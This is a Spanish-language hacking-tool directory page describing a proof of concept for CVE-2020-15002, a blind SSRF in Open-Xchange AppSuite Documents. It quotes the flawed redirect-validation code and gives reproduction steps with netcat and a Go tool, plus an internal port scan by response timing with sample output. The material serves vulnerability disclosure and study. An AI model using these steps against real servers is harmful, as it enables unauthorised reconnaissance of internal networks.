Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
Herramientas/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
ReconocimientoEscaneo de PuertosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones Web
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Ver Repositorio
hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

La lógica en AddFileAction.getImageDataFromUrl para obtener imágenes de URLs externas al manejar /appsuite/api/oxodocumentfilter&action=addfile implementada aquí valida las URLs redirigidas solo después de seguir todas las redirecciones

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Esto podría ser utilizado por un atacante para ejecutar ataques SSRF ciegos.

Pasos para reproducir

  1. Instale Open-Xchange y Documents en una máquina virtual siguiendo las guías https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 y https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. Dentro de la VM ejecute el siguiente comando para que netcat escuche en 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. En la máquina anfitriona, instale golang desde https://golang.org/dl/
  4. Descargue y extraiga el archivo poc.zip
  5. Abra una terminal / línea de comandos y establezca el directorio actual en la carpeta extraída de poc.zip
  6. Ejecute el comando
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    donde
    • redirectorAddress: La dirección IP y el puerto al que debe vincularse el servidor redireccionador. Esta dirección IP debe ser accesible desde la VM.
    • targetPorts: Puerto dentro de la VM donde netcat está escuchando.
    • serverRoot: URL base del servidor open-xchange.
    • username: Nombre de usuario de cualquier usuario en el servidor open-xchange.
    • password: Contraseña del usuario en el servidor open-xchange.

Ejecutar el comando anterior mostrará la siguiente salida en netcat

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Impacto

Dado que se trata de un SSRF ciego, no es posible leer la respuesta de las solicitudes HTTP. Sin embargo, esta vulnerabilidad se puede utilizar para reconocimiento.

Ejemplo: Escaneo de puertos midiendo el tiempo de respuesta

Para ejecutar un escaneo de puertos en los puertos 7070,61616,8004,80,22,25,8080,3125 en la red local del servidor, ejecute el siguiente comando

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Salida:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Podemos usar lsof para ver los puertos abiertos dentro de la VM

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

Salida:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

De las salidas anteriores, se pueden hacer las siguientes observaciones:

  • Como podemos ver, para los puertos cerrados 7070, 8080 y 3125, los tiempos de respuesta son bajos (~ menos de 3ms)
  • Para los puertos abiertos, dependiendo del tipo de conexión de escucha, el tiempo de respuesta varía
    • Para ssh (puerto 22) el tiempo de respuesta es ~34ms
    • Para exim (puerto 25) el tiempo de respuesta es ~2170ms
    • Para ActiveMQ (puerto 61616) el tiempo de respuesta es ~3567ms
    • Para http (puerto 80 y 8004) el tiempo de respuesta es ~3ms (este tipo es difícil de distinguir de los puertos cerrados)

Por lo tanto, un atacante puede usar esta vulnerabilidad para detectar la mayoría de los puertos abiertos y puede usar el tiempo de respuesta para detectar el tipo de conexión (ssh / exim / activemq, etc.)

Descargar herramienta